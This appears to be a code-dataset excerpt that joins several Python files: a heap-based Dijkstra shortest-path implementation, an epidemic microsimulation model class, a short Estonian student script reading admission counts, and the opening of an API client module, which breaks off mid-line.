self.dis_map[self.nodes_heap[index]] < self.dis_map[self.nodes_heap[int((index - 1) / 2)]]:\n self.swap(index, int((index-1)/2))\n index = int((index -1) / 2)\n\n def swap(self, index1, index2):\n self.heap_index[self.nodes_heap[index1]] = index2\n self.heap_index[self.nodes_heap[index2]] = index1\n tmp = self.nodes_heap[index1]\n self.nodes_heap[index1] = self.nodes_heap[index2]\n self.nodes_heap[index2] = tmp\n\n def pop(self):\n node_record = NodeRecord(node=self.nodes_heap[0], distance=self.dis_map[self.nodes_heap[0]])\n self.swap(0, self.size - 1)\n self.heap_index[self.nodes_heap[self.size-1]] = -1\n self.dis_map.pop(self.nodes_heap[self.size-1])\n self.nodes_heap.pop(self.size - 1)\n self.size -= 1\n self.heapify(0, self.size)\n return node_record\n\n def heapify(self, index, size):\n left = index * 2 + 1\n while left < size:\n smallest = left + 1 if left + 1 < size and \\\n self.dis_map[self.nodes_heap[left+1]] < self.dis_map[self.nodes_heap[left]] \\\n else left\n smallest = smallest if self.dis_map[self.nodes_heap[smallest]] < self.dis_map[self.nodes_heap[index]] \\\n else index\n if smallest == index: break\n self.swap(smallest, index)\n index = smallest\n left = index * 2 + 1\n\nclass NodeRecord:\n def __init__(self, node, distance):\n self.node = node\n self.dis = distance\n\n# test\n# 自定义一个无向连通图\nm = [[7, 'A', 'B'], [5, 'A', 'D'], [9, 'B', 'D'],\n [8, 'B', 'C'], [7, 'B', 'E'], [5, 'C', 'E'],\n [15, 'D', 'E'], [6, 'D', 'F'], [8, 'E', 'F'],\n [9, 'E', 'G'], [11, 'F', 'G'],\n [7, 'B', 'A'], [5, 'D', 'A'], [9, 'D', 'B'],\n [8, 'C', 'B'], [7, 'E', 'B'], [5, 'E', 'C'],\n [15, 'E', 'D'], [6, 'F', 'D'], [8, 'F', 'E'],\n [9, 'G', 'E'], [11, 'G', 'F']]\ngenerator = GraphGenerator()\ngraph = generator.createGraph(m)\n# 指定出发点\nfirst = graph.nodes['C']\nD = Dijikstra()\nresult = D.dijikstra2(first)\nfor node in result.keys():\n print(str(first.value)+str(node.value)+':'+str(result[node]))\n\n# 输出\n# CC:0\n# CE:5\n# CB:8\n# CF:13\n# CG:14\n# CD:17\n# CA:15","repo_name":"githublei-min/algorithmbasic-zuo-2022","sub_path":"graph/dijikstra.py","file_name":"dijikstra.py","file_ext":"py","file_size_in_byte":5843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2979540021","text":"import sys\n\nsys.path.append(\"microsim\") # This is only needed when testing. I'm so confused about the imports\nfrom microsim.r_interface import RInterface\nfrom microsim.column_names import ColumnNames\nfrom microsim.utilities import check_durations_sum_to_1\nimport pandas as pd\npd.set_option('display.expand_frame_repr', False) # Don't wrap lines when displaying DataFrames\n# pd.set_option('display.width', 0) # Automatically find the best width\n\nimport os\nimport time\nfrom typing import List, Dict\nimport pickle\nimport copy\nimport random\n\n\nclass Microsim:\n \"\"\"\n Class containing code for running timesteps of the Python/ R microsim model.\n This operates on two main dataframes: individuals and activity_locations.\n \"\"\"\n def __init__(self,\n individuals,\n activity_locations,\n time_activity_multiplier=None,\n random_seed: float = None,\n disable_disease_status=False,\n r_script_dir: str = \"./R/py_int/\",\n data_dir: str = \"./data/\",\n scen_dir: str = \"default\",\n output: bool = True,\n output_every_iteration=False,\n hazard_individual_multipliers: Dict[str, float] = {},\n hazard_location_multipliers: Dict[str, float] = {},\n risk_multiplier: float = 1.0,\n disease_params: Dict = {}\n ):\n \"\"\"\n PopulationInitialisation constructor. This reads all of the necessary data to run the microsimulation.\n ----------\n :param individuals: dataframe of population data\n :param activity_locations: dataframe of location data\n :param time_activity_multiplier: activity multipliers based on lockdown data\n :param random_seed: A optional random seed to use when creating the class instance. This is passed\n directly to `random.Random()` (including if None).\n :param disable_disease_status: Optionally turn off the R interface. This will mean we cannot calculate new\n disease status. Only good for testing.\n :param r_script_dir: A directory with the required R scripts in (these are used to estimate disease status)\n :param scen_dir: A data directory to write the output to (i.e. a name for this model run)\n :param data_dir: A data directory from which to read the source data\n :param output: Whether to create files to store the results (default True)\n :param output_every_iteration: Whether to create files to store the results at every iteration rather than\n just at the end (default False)\n :param hazard_individual_multipliers: A dictionary containing multipliers that can make particular disease\n statuses more hazardous to the locations that the people visit. See 'hazard_individual_multipliers' section\n of the parameters file (e.g. model_parameters/default.yml). Default is {} which means the multiplier will\n be 1.0\n :hazard_location_multipliers: A dictionary containing multipliers that can make certain locations\n more hazardous (e.g. easier to get the disease if you visit). See 'hazard_location_multipliers' section\n of the parameters file (e.g. model_parameters/default.yml). Default is {} which means the multiplier will\n be 1.0\n :param disease_params: Optional parameters that are passed to the R code that estimates disease status\n (a dictionary, assumed to be empty)\n \"\"\"\n self.individuals = individuals\n self.activity_locations = activity_locations\n self.random = random.Random(random_seed)\n self.disable_disease_status = disable_disease_status\n self.r_script_dir = r_script_dir\n self.output = output\n self.output_every_iteration = output_every_iteration\n\n Microsim.DATA_DIR = data_dir # TODO (minor) pass the data_dir to class functions directly so no need to have it defined at class level\n self.DATA_DIR = data_dir\n self.SCEN_DIR = scen_dir\n\n # create full path for scenario dir, also check if scenario dir exists and if so, add nr\n self.SCEN_DIR = self._find_new_directory(os.path.join(self.DATA_DIR, \"output\"), self.SCEN_DIR)\n\n # We need an interface to R code to calculate disease status, but don't initialise it until the run()\n # method is called so that the R process is initiatied in the same process as the Microsim object\n self.r_int = None\n\n # If we do output information, then it will go to this directory. This is determined in run(), rather than\n # here, because otherwise all copies of this object will have the same output directory.\n self.output_dir = None\n\n self.iteration = 0\n self.time_activity_multiplier = time_activity_multiplier\n\n self.risk_multiplier = risk_multiplier\n\n self.hazard_individual_multipliers = hazard_individual_multipliers\n Microsim.__check_hazard_location_multipliers(hazard_location_multipliers)\n self.hazard_location_multipliers = hazard_location_multipliers\n\n self.disease_params = disease_params\n\n self.repnr = -1 # This is a unique ID for the model used if this model is run as part of an ensemble\n\n def run(self, iterations: int, repnr: int) -> None:\n \"\"\"\n Run the model (call the step() function) for the given number of iterations.\n :param iterations: The number of iterations to run\n :param repnr: The repetition number of this model. Like an ID. Used to create new unique directory for this model instance.\n \"\"\"\n # Now that this model is being run we know it's ID (repetition number)\n assert self.repnr == -1 # The ID should not have been set yet\n self.repnr = repnr\n\n # Create directories for the results\n self._init_output()\n\n # Initialise the R interface. Do this here, rather than in init, because when in multiprocessing mode\n # at this point the Microsim object will be in its own process\n if not self.disable_disease_status:\n self.r_int = RInterface(self.r_script_dir)\n\n # Step the model\n for i in range(iterations):\n iter_start_time = time.time() # time how long each iteration takes (for info)\n self.step()\n\n # Add to items to pickle for visualisations\n if self.output:\n print(\"\\tPreparing output ... \" +\n \"(but not writing anything until the end)\" if not self.output_every_iteration else \"\", )\n # Add the new column names for this iteration's disease statuses\n # (Force column names to have leading zeros)\n self.individuals_to_pickle[f\"{ColumnNames.DISEASE_STATUS}{(i + 1):03d}\"] = self.individuals[\n ColumnNames.DISEASE_STATUS]\n # Write the output at the end, or at every iteration\n if i == (iterations - 1) or self.output_every_iteration:\n print(\"\\t\\tWriting individuals file... \")\n fname = os.path.join(self.output_dir, \"Individuals\")\n with open(fname + \".pickle\", \"wb\") as pickle_out:\n pickle.dump(self.individuals_to_pickle, pickle_out)\n # Also make a (compressed) csv file for others\n self.individuals_to_pickle.to_csv(fname + \".csv.gz\", compression='gzip')\n\n for name in self.activity_locations:\n # Get the details of the location activity\n activity = self.activity_locations[name] # Pointer to the ActivityLocation object\n loc_name = activity.get_name() # retail, school etc\n # loc_ids = activity.get_ids() # List of the IDs of the locations\n loc_dangers = activity.get_dangers() # List of the current dangers\n # Add a new danger column to the previous dataframe\n self.activities_to_pickle[loc_name][f\"{ColumnNames.LOCATION_DANGER}{(i + 1):03d}\"] = loc_dangers\n # Save this activity location\n if i == (iterations - 1) or self.output_every_iteration:\n print(f\"\\t\\tWriting activity file for {name}... \")\n fname = os.path.join(self.output_dir, loc_name)\n with open(fname + \".pickle\", \"wb\") as pickle_out:\n pickle.dump(self.activities_to_pickle[loc_name], pickle_out)\n # Also make a (compressed) csv file for others\n self.activities_to_pickle[loc_name].to_csv(fname + \".csv.gz\", compression='gzip')\n # self.activities_to_pickle[loc_name].to_csv(fname+\".csv\") # They not so big so don't compress\n\n print(f\"\\tIteration {i} took {round(float(time.time() - iter_start_time), 2)}s\")\n\n print(f\"Model finished running (iterations: {iterations})\")\n\n def step(self) -> None:\n \"\"\"\n Step (iterate) the model for 1 iteration\n\n :return:\n \"\"\"\n self.iteration += 1\n\n print(f\"\\nIteration: {self.iteration}\\n\")\n\n # Unilaterally adjust the proportions of time that people spend doing different activities after lockdown\n self.update_behaviour_during_lockdown()\n\n # Update the danger associated with each venue (i.e. the as people with the disease visit them they\n # become more dangerous) then update the risk to each individual of going to those venues.\n self.update_venue_danger_and_risks()\n\n # Update disease counters. E.g. count diseases in MSOAs & households\n # No longer update disease counts per MSOA etc. Not needed\n # self.update_disease_counts()\n\n # Calculate new disease status and update the people's behaviour\n if not self.disable_disease_status:\n self.calculate_new_disease_status()\n self.change_behaviour_with_disease()\n\n # TEMP WRITE OUTPUT AT END\n # fname = os.path.join(self.output_dir, \"Individuals\")\n # with open(fname + \".pickle\", \"wb\") as pickle_out:\n # pickle.dump(self.individuals_to_pickle, pickle_out)\n # self.individuals_to_pickle.to_csv(fname + \".csv.gz\", compression='gzip')\n # for name in self.activity_locations:\n # loc_name = self.activity_locations[name].get_name()\n # fname = os.path.join(self.output_dir, loc_name)\n # with open(fname + \".pickle\", \"wb\") as pickle_out:\n # pickle.dump(self.activities_to_pickle[loc_name], pickle_out)\n # # Also make a (compressed) csv file for others\n # self.activities_to_pickle[loc_name].to_csv(fname + \".csv.gz\", compression='gzip')\n\n def update_behaviour_during_lockdown(self):\n \"\"\"\n Unilaterally alter the proportions of time spent on different activities before and after 'lockddown'\n Otherwise this doesn't do anything update_behaviour_during_lockdown.\n\n Note: ignores people who are currently showing symptoms (`ColumnNames.DiseaseStatus.SYMPTOMATIC`)\n \"\"\"\n # Are we doing any lockdown at all? in this iteration?\n if self.time_activity_multiplier is not None:\n # Only change the behaviour of people who aren't showing symptoms. If you are showing symptoms then you\n # will be mostly at home anyway, so don't want your behaviour overridden by lockdown.\n uninfected = self.individuals.index[\n self.individuals[ColumnNames.DISEASE_STATUS] != ColumnNames.DiseaseStatuses.SYMPTOMATIC]\n if len(uninfected) < len(self.individuals):\n print(f\"\\t{len(self.individuals) - len(uninfected)} people are symptomatic so not affected by lockdown\")\n\n # Reduce all activities, replacing the lost time with time spent at home\n non_home_activities = set(self.activity_locations.keys())\n non_home_activities.remove(ColumnNames.Activities.HOME)\n # Need to remember the total duration of time lost for non-home activities\n total_duration = pd.Series(data=[0.0] * len(self.individuals.loc[uninfected]), name=\"TotalDuration\")\n\n # Reduce the initial activity proportion of time by a particular amount per day\n timeout_multiplier = self.time_activity_multiplier.loc[\n self.time_activity_multiplier.day == self.iteration, \"timeout_multiplier\"].values[0]\n print(f\"\\tApplying regular (google mobility) lockdown multiplier {timeout_multiplier}\")\n for activity in non_home_activities:\n # Need to be careful with new_duration because we don't want to keep the index used in\n # self.individuals as this will be missing out people who aren't infected so will have gaps\n new_duration = pd.Series(list(self.individuals.loc[\n uninfected, activity + ColumnNames.ACTIVITY_DURATION_INITIAL] * timeout_multiplier),\n name=\"NewDuration\")\n total_duration += new_duration\n self.individuals.loc[uninfected, activity + ColumnNames.ACTIVITY_DURATION] = list(new_duration)\n\n assert (total_duration <= 1.0).all() and (new_duration <= 1.0).all()\n # Now set home duration to fill in the time lost from doing other activities.\n self.individuals.loc[uninfected, f\"{ColumnNames.Activities.HOME}{ColumnNames.ACTIVITY_DURATION}\"] = list(\n 1 - total_duration)\n\n # Check they still sum correctly (if not then they probably need rounding)\n # (If you want to print the durations)\n # self.individuals.loc[:, [ x+ColumnNames.ACTIVITY_DURATION for x in self.activity_locations.keys() ]+\n # [ x+ColumnNames.ACTIVITY_DURATION_INITIAL for x in self.activity_locations.keys() ] ]\n\n check_durations_sum_to_1(self.individuals, self.activity_locations.keys())\n else:\n print(\"\\tNot applying a lockdown multiplier\")\n\n def update_venue_danger_and_risks(self, decimals=8):\n \"\"\"\n Update the danger score for each location, based on where the individuals who have the infection visit.\n Then look through the individuals again, assigning some of that danger back to them as 'current risk'.\n\n :param risk_multiplier: Risk is calcuated as duration * flow * risk_multiplier.\n :param decimals: Number of decimals to round the indivdiual risks and dangers to (defult 10). If 'None'\n then do no rounding\n \"\"\"\n print(\"\\tUpdating danger associated with visiting each venue\")\n\n # Make a new list to keep the new risk for each individual (better than repeatedly accessing the dataframe)\n # Make this 0 initialy as the risk is not cumulative; it gets reset each day\n current_risk = [0] * len(self.individuals)\n\n # for name in tqdm(self.activity_locations, desc=f\"Updating dangers and risks for activity locations\"):\n for activty_name in self.activity_locations:\n\n #\n # ***** 1 - update dangers of each venue (infected people visitting places)\n #\n\n print(f\"\\t\\t{activty_name} activity\")\n # Get the details of the location activity\n activity_location = self.activity_locations[activty_name] # Pointer to the ActivityLocation object\n # Create a list to store the dangers associated with each location for this activity.\n # Assume 0 initially, it should be reset each day\n loc_dangers = [0] * len(activity_location.get_dangers())\n # loc_dangers = activity_location.get_dangers() # List of the current dangers associated with each place\n\n # Now look up those venues in the table of individuals\n venues_col = f\"{activty_name}{ColumnNames.ACTIVITY_VENUES}\" # The names of the venues and\n flows_col = f\"{activty_name}{ColumnNames.ACTIVITY_FLOWS}\" # flows in the individuals DataFrame\n durations_col = f\"{activty_name}{ColumnNames.ACTIVITY_DURATION}\" # flows in the individuals DataFrame\n\n # 2D lists, for each individual: the venues they visit, the flows to the venue (i.e. how much they visit it)\n # and the durations (how long they spend doing it)\n statuses = self.individuals[ColumnNames.DISEASE_STATUS]\n venues = self.individuals.loc[:, venues_col]\n flows = self.individuals.loc[:, flows_col]\n durations = self.individuals.loc[:, durations_col]\n assert len(venues) == len(flows) and len(venues) == len(statuses)\n for i, (v, f, s, duration) in enumerate(zip(venues, flows, statuses, durations)): # For each individual\n # Only people with the disease who are infectious will add danger to a place\n if s == ColumnNames.DiseaseStatuses.PRESYMPTOMATIC \\\n or s == ColumnNames.DiseaseStatuses.SYMPTOMATIC \\\n or s == ColumnNames.DiseaseStatuses.ASYMPTOMATIC:\n # The hazard multiplier depends on the type of disease status that this person has\n # There may be different multipliers passed in a dictionary as calibration parameters, if not\n # then assume the multiplier is 1.0\n individual_hazard_multiplier: float = None\n if not self.hazard_individual_multipliers: # The dictionary is empty\n individual_hazard_multiplier = 1.0\n else: # A dict was passed, so find out what the values of the multiplier are by disease status\n if s == ColumnNames.DiseaseStatuses.PRESYMPTOMATIC:\n individual_hazard_multiplier = self.hazard_individual_multipliers['presymptomatic']\n elif s == ColumnNames.DiseaseStatuses.SYMPTOMATIC:\n individual_hazard_multiplier = self.hazard_individual_multipliers['symptomatic']\n elif s == ColumnNames.DiseaseStatuses.ASYMPTOMATIC:\n individual_hazard_multiplier = self.hazard_individual_multipliers['asymptomatic']\n assert individual_hazard_multiplier is not None\n # There may also be a hazard multiplier for locations (i.e. some locations become more hazardous\n # than others\n location_hazard_multiplier = None\n if not self.hazard_location_multipliers: # The dictionary is empty\n location_hazard_multiplier = 1.0\n else:\n location_hazard_multiplier = self.hazard_location_multipliers[activty_name]\n assert location_hazard_multiplier is not None\n\n # v and f are lists of flows and venues for the individual. Go through each one\n for venue_idx, flow in zip(v, f):\n # print(i, venue_idx, flow, duration)\n # Increase the danger by the flow multiplied by some disease risk\n danger_increase = (flow * duration * individual_hazard_multiplier * location_hazard_multiplier)\n # if activty_name == ColumnNames.Activities.WORK:\n # warnings.warn(\"Temporarily reduce danger for work while we have virtual work locations\")\n # work_danger = float(danger_increase / 20)\n # loc_dangers[venue_idx] += work_danger\n # else:\n loc_dangers[venue_idx] += danger_increase\n\n #\n # ***** 2 - risks for individuals who visit dangerous venues\n #\n\n # It's useful to report the specific risks associated with *this* activity for each individual\n activity_specific_risk = [0] * len(self.individuals)\n\n for i, (v, f, s, duration) in enumerate(zip(venues, flows, statuses, durations)): # For each individual\n # v and f are lists of flows and venues for the individual. Go through each one\n for venue_idx, flow in zip(v, f):\n # Danger associated with the location (we just created these updated dangers in the previous loop)\n danger = loc_dangers[venue_idx]\n risk_increase = flow * danger * duration * self.risk_multiplier\n current_risk[i] += risk_increase\n activity_specific_risk[i] += risk_increase\n\n # Remember the (rounded) risk for this activity\n if decimals is not None:\n activity_specific_risk = [round(x, decimals) for x in activity_specific_risk]\n self.individuals[f\"{activty_name}{ColumnNames.ACTIVITY_RISK}\"] = activity_specific_risk\n\n # Now we have the dangers associated with each location, apply these back to the main dataframe\n if decimals is not None: # Round the dangers?\n loc_dangers = [round(x, decimals) for x in loc_dangers]\n activity_location.update_dangers(loc_dangers)\n\n # Round the current risk\n if decimals is not None:\n current_risk = [round(x, decimals) for x in current_risk]\n\n # Sanity check\n assert len(current_risk) == len(self.individuals)\n assert min(current_risk) >= 0 # Should not be risk less than 0\n # Santity check - do the risks of each activity add up to the total?\n # (I can't get this to work, there are some really minor differences, but on the whole it looks fine)\n # (I can't get this to work, there are some really minor differences, but on the whole it looks fine)\n # if PopulationInitialisation.debug: # replace with .debug\n # total_risk = [0.0] * len(self.individuals)\n # for activty_name in self.activity_locations:\n # total_risk = [i + j for (i, j) in zip(total_risk, list(self.individuals[f\"{activty_name}{ColumnNames.ACTIVITY_RISK}\"]))]\n # # Round both\n # total_risk = [round(x, 5) for x in total_risk]\n # current_risk_temp = [round(x, 5) for x in current_risk]\n # assert current_risk_temp == total_risk\n\n self.individuals[ColumnNames.CURRENT_RISK] = current_risk\n\n return\n\n # No longer update disease counts per MSOA etc. Not needed\n # def update_disease_counts(self):\n # \"\"\"Update some disease counters -- counts of diseases in MSOAs & households -- which are useful\n # in estimating the probability of contracting the disease\"\"\"\n # # Update the diseases per MSOA and household\n # # TODO replace Nan's with 0 (not a problem with MSOAs because they're a cateogry so the value_counts()\n # # returns all, including those with 0 counts, but with HID those with 0 count don't get returned\n # # Get rows with cases\n # cases = self.individuals.loc[(self.individuals[ColumnNames.DISEASE_STATUS] == 1) |\n # (self.individuals[ColumnNames.DISEASE_STATUS] == 2), :]\n # # Count cases per area (convert to a dataframe)\n # case_counts = cases[\"area\"].value_counts()\n # case_counts = pd.DataFrame(data={\"area\": case_counts.index, \"Count\": case_counts}).reset_index(drop=True)\n # # Link this back to the orignal data\n # self.individuals[ColumnNames.MSOA_CASES] = self.individuals.merge(case_counts, on=\"area\", how=\"left\")[\"Count\"]\n # self.individuals[ColumnNames.MSOA_CASES].fillna(0, inplace=True)\n #\n # # Update HID cases\n # case_counts = cases[\"House_ID\"].value_counts()\n # case_counts = pd.DataFrame(data={\"House_ID\": case_counts.index, \"Count\": case_counts}).reset_index(drop=True)\n # self.individuals[ColumnNames.HID_CASES] = self.individuals.merge(case_counts, on=\"House_ID\", how=\"left\")[\n # \"Count\"]\n # self.individuals[ColumnNames.HID_CASES].fillna(0, inplace=True)\n\n def calculate_new_disease_status(self) -> None:\n \"\"\"\n Call an R function to calculate the new disease status for all individuals.\n Update the indivdiuals dataframe in place\n :return: . Update the dataframe inplace\n \"\"\"\n # Remember the old status so that we can calculate whether it has changed\n old_status: pd.Series = self.individuals[ColumnNames.DISEASE_STATUS].copy()\n\n # Calculate the new status (will return a new dataframe)\n self.individuals = self.r_int.calculate_disease_status(\n self.individuals, self.iteration, self.repnr, self.disease_params)\n\n # Remember whose status has changed\n new_status: pd.Series = self.individuals[ColumnNames.DISEASE_STATUS].copy()\n self.individuals[ColumnNames.DISEASE_STATUS_CHANGED] = list(new_status != old_status)\n\n # For info, find out how the statuses have changed.\n # Make a dict with all possible changes, then loop through and count them.\n change = dict()\n for old in ColumnNames.DiseaseStatuses.ALL:\n for new in ColumnNames.DiseaseStatuses.ALL:\n change[(old, new)] = 0\n for (old, new) in zip(old_status, new_status):\n if new != old:\n change[(old, new)] += 1\n\n assert sum(change.values()) == len(new_status[new_status != old_status])\n\n print(f\"\\t{len(new_status[new_status != old_status])} individuals have a different status. Status changes:\")\n for old in ColumnNames.DiseaseStatuses.ALL:\n print(f\"\\t\\t{old} -> \", end=\"\")\n for new in ColumnNames.DiseaseStatuses.ALL:\n print(f\" {new}:{change[(old, new)]} \\t\", end=\"\")\n print()\n\n def change_behaviour_with_disease(self) -> None:\n \"\"\"\n When people have the disease the proportions that they spend doing activities changes. This function applies\n those changes inline to the individuals dataframe\n :return: None. Update the dataframe inplace\n \"\"\"\n # print(\"Changing behaviour of infected individuals ... \",)\n # Find out which people have changed status\n change_idx = self.individuals.index[self.individuals[ColumnNames.DISEASE_STATUS_CHANGED] == True]\n\n # Now set their new behaviour\n self.individuals.loc[change_idx] = \\\n self.individuals.loc[change_idx].apply(\n func=Microsim._set_new_behaviour, args=(list(self.activity_locations.keys()),), axis=1)\n # self.individuals.loc[change_idx].swifter.progress_bar(True, desc=\"Changing behaviour of infected\"). \\\n\n print(f\"\\tCurrent statuses:\"\n f\"\\n\\t\\tSusceptible ({ColumnNames.DiseaseStatuses.SUSCEPTIBLE}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.SUSCEPTIBLE])}\"\n f\"\\n\\t\\tExposed ({ColumnNames.DiseaseStatuses.EXPOSED}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.EXPOSED])}\"\n f\"\\n\\t\\tPresymptomatic ({ColumnNames.DiseaseStatuses.PRESYMPTOMATIC}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.PRESYMPTOMATIC])}\"\n f\"\\n\\t\\tSymptomatic ({ColumnNames.DiseaseStatuses.SYMPTOMATIC}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.SYMPTOMATIC])}\"\n f\"\\n\\t\\tAsymptomatic ({ColumnNames.DiseaseStatuses.ASYMPTOMATIC}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.ASYMPTOMATIC])}\"\n f\"\\n\\t\\tRecovered ({ColumnNames.DiseaseStatuses.RECOVERED}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.RECOVERED])}\"\n f\"\\n\\t\\tRemoved/dead ({ColumnNames.DiseaseStatuses.DEAD}): {len(self.individuals.loc[self.individuals[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.DEAD])}\")\n\n # self.individuals.loc[change_idx].apply(func=self._set_new_behaviour, axis=1)\n # print(\"... finished\")\n\n @staticmethod\n def _set_new_behaviour(row: pd.Series, activities: List[str]):\n \"\"\"\n Define how someone with the disease should behave. This is called for every individual whose disease status\n has changed between the current iteration and the previous one\n :param row: A row of the individuals dataframe\n :return: An updated row with new ACTIVITY_DURATION columns to reflect the changes in proportion of time that\n the individual spends doing the different activities.\n \"\"\"\n # Maybe need to put non-symptomatic people back to normal behaviour (or do nothing if they e.g. transfer from\n # Susceptible to Pre-symptomatic, which means they continue doing normal behaviour)\n # Minor bug: this will erode any changes caused by lockdown behaviour for the rest of this iteration, but this\n # only affects people whose status has just changed so only a minor problem\n if row[ColumnNames.DISEASE_STATUS] in [ColumnNames.DiseaseStatuses.SUSCEPTIBLE,\n ColumnNames.DiseaseStatuses.EXPOSED,\n ColumnNames.DiseaseStatuses.PRESYMPTOMATIC,\n ColumnNames.DiseaseStatuses.ASYMPTOMATIC,\n ColumnNames.DiseaseStatuses.RECOVERED,\n ColumnNames.DiseaseStatuses.DEAD]:\n for activity in activities:\n row[f\"{activity}{ColumnNames.ACTIVITY_DURATION}\"] = \\\n row[f\"{activity}{ColumnNames.ACTIVITY_DURATION_INITIAL}\"]\n\n # Put newly symptomatic people at home\n elif row[ColumnNames.DISEASE_STATUS] == ColumnNames.DiseaseStatuses.SYMPTOMATIC:\n # Reduce all activities, replacing the lost time with time spent at home\n non_home_activities = set(activities)\n non_home_activities.remove(ColumnNames.Activities.HOME)\n total_duration = 0.0 # Need to remember the total duration of time lost for non-home activities\n for activity in non_home_activities:\n # new_duration = row[f\"{activity}{ColumnNames.ACTIVITY_DURATION}\"] * 0.10\n new_duration = row[f\"{activity}{ColumnNames.ACTIVITY_DURATION}\"] * 0.10\n total_duration += new_duration\n row[f\"{activity}{ColumnNames.ACTIVITY_DURATION}\"] = new_duration\n # Now set home duration to fill in the time lost from doing other activities.\n row[f\"{ColumnNames.Activities.HOME}{ColumnNames.ACTIVITY_DURATION}\"] = (1 - total_duration)\n else:\n raise Exception(f\"Unrecognised disease state for individual {row['ID']}: {row[ColumnNames.DISEASE_STATUS]}\")\n return row\n\n def _init_output(self):\n \"\"\"\n Might need to write out some data if saving output for analysis later. If so, creates a new directory for the\n results as a subdirectory of the data directory.\n Also store some information for use in the visualisations and analysis.\n \"\"\"\n assert self.repnr >= 0 # If -1 then the repetition number has not been initialised correctly\n if self.output:\n print(\"Saving initial models for analysis ... \", )\n # Find a directory to use, within the 'output' directory\n # if repnr == 0:\n # self.SCEN_DIR = PopulationInitialisation._find_new_directory(os.path.join(self.DATA_DIR, \"output\"), self.SCEN_DIR)\n self.output_dir = os.path.join(self.SCEN_DIR, str(self.repnr))\n os.mkdir(self.output_dir)\n\n # save initial model\n pickle_out = open(os.path.join(self.output_dir, \"m0.pickle\"), \"wb\")\n pickle.dump(self, pickle_out)\n pickle_out.close()\n\n # collect disease status in new df (for analysis/visualisation)\n self.individuals_to_pickle = self.individuals.copy()\n self.individuals_to_pickle[ColumnNames.DISEASE_STATUS + \"000\"] = self.individuals_to_pickle[\n ColumnNames.DISEASE_STATUS]\n\n # collect location dangers at time 0 in new df(for analysis/visualisation)\n self.activities_to_pickle = {}\n for name in self.activity_locations:\n # Get the details of the location activity\n activity = self.activity_locations[name] # Pointer to the ActivityLocation object\n loc_name = activity.get_name() # retail, school etc\n loc_ids = activity.get_ids() # List of the IDs of the locations\n loc_dangers = activity.get_dangers() # List of the current dangers\n self.activities_to_pickle[loc_name] = activity.get_dataframe_copy()\n self.activities_to_pickle[loc_name]['Danger0'] = loc_dangers\n assert False not in list(loc_ids == self.activities_to_pickle[loc_name][\"ID\"].values)\n\n @staticmethod\n def __check_hazard_location_multipliers(hazard_location_multipliers):\n \"\"\"Check that the hazard multipliation multipliers correspond to the actual locations being used\n in the model (we don't want a hazard for a location that doesn't exist, and need all locations\n to have hazards). If there are no hazard location multipliers (an empty dict) then we're not\n using them so just return\n\n :return None if all is OK. Throw an exception if not\n :raise Exception if the multipliers don't align.\"\"\"\n if not hazard_location_multipliers:\n return\n hazard_activities = set(hazard_location_multipliers.keys())\n all_activities = set(ColumnNames.Activities.ALL)\n if hazard_activities != all_activities:\n raise Exception(f\"The hzard location multipliers: '{hazard_activities} don't match the \"\n f\"activities in the model: {all_activities}\")\n\n @staticmethod\n def _find_new_directory(dir, scendir):\n \"\"\"\n Find a new directory and make one to store results in starting from 'dir'.\n :param dir: Start looking from this directory\n :return: The new directory (full path)\n \"\"\"\n results_subdir = os.path.join(dir, scendir)\n # if it exists already, try adding numbers\n i = 0\n while os.path.isdir(results_subdir):\n i += 1\n newdir = scendir + \"_\" + str(i)\n results_subdir = os.path.join(dir, newdir)\n # Create a directory for these results\n # results_subdir = os.path.join(dir, str(i))\n try:\n os.mkdir(results_subdir)\n except FileExistsError as e:\n print(\"Directory \", results_subdir, \" already exists\")\n raise e\n return results_subdir\n\n @staticmethod\n def _make_a_copy(m):\n \"\"\"\n When copying a microsim object, reset the seed\n\n :param m: A Microsim object\n :return: A deep copy of the microsim object\n \"\"\"\n m.random.seed()\n return copy.deepcopy(m)\n","repo_name":"Urban-Analytics/RAMP-UA","sub_path":"microsim/microsim_model.py","file_name":"microsim_model.py","file_ext":"py","file_size_in_byte":35421,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"22956542647","text":"fail = open(\"rebased.txt\", encoding=\"UTF-8\")\nvastuvõetud = []\naastad = [2011,2012,2013,2014,2015,2016,2017,2018,2019]\nfor rida in fail:\n vastuvõetud.append(int(rida))\n\naasta = int(input(\"Vali aasta 2011-2019: \"))\nvalik = vastuvõetud[aastad.index(aasta)]\nprint(aasta, \"oli vastuvõetuid\", valik)\nfail.close()\n\nprint(aastad)\nprint(vastuvõetud)","repo_name":"metshein/python","sub_path":"h5.1.py","file_name":"h5.1.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"et","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36326840709","text":"from __future__ import absolute_import\n\nimport json\nimport logging\nfrom copy import deepcopy, copy\nfrom base64 import b64encode\nfrom datetime import timedelta\n\nfrom procedure_tools.utils.date import get_utcnow, parse_date_header\n\ntry:\n from urllib.parse import urljoin\nexcept ImportError:\n from urlparse import urljoin\n\nimport requests\n\nfrom procedure_tools.utils import adapters\nfrom procedure_tools.utils.handlers import (\n response_handler,\n client_init_response_handler,\n)\nfrom procedure_tools.version import __version__\n\nAPI_PATH_PREFIX_DEFAULT = \"/api/0/\"\n\n\nclass BaseApiClient(object):\n SPORE_PATH = \"spore\"\n\n HEADERS_DEFAULT = {\n \"User-Agent\": \"procedure_tools/{}\".format(__version__),\n }\n\n def __init__(self, host, session=None, debug=False, **kwargs):\n self.host = host\n self.kwargs = kwargs\n self.debug = debug\n if session:\n self.session = session\n else:\n self.session = requests.Session()\n adapters.mount(session)\n self.set_default_kwargs()\n\n def set_default_kwargs(self):\n headers = 